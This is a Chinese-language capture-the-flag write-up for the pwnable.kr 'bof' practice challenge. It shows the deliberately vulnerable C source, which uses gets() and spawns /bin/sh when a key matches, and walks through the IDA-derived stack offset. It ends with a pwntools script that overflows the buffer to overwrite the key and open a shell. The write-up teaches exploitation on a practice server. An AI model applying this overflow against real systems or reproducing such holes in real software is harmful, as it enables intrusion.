2018-06-21

pwnable 笔记 Toddler's Bottle - bof

该题是一道考察缓冲区溢出的题比较简单

先看一下源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

可以看出

func()中有一个长度为32的字符串数组overflow
在调用gets()时由于没有检查字符串长度，导致缓冲区溢出，超过32字节的数据将覆盖内存中的其他数据。
随后比较key和0xcafebabe

main中调用func时参数key指定为0xdeadbeef，在进入func后会落入else分支。

0x01 直接拖进IDA F5反编译func函数

可以看到key的位置在ebp+8h处

而局部变量overflowme 对应s 首地址在ebp-2ch处。

因此，二者的距离为0x34.

推荐一下win10自带的计算器，对我这个菜鸟还是很好用的zzz

gets()函数并没有对输入的长度进行限制，因此我们可以溢出overflowme数组来改写参数key

改写的值为0xCAFEBABE

EXP：

from pwn import *
#p = process("./bof")
p = remote("pwnable.kr",9000)
sys_addr = 0xcafebabe
#p.recvuntil("overflow me :")
payload = "a"*0x34 + p32(sys_addr)
p.send(payload)
p.interactive()

这里要注意一下内存中的小端存储，可以使用pwn库中的p32()函数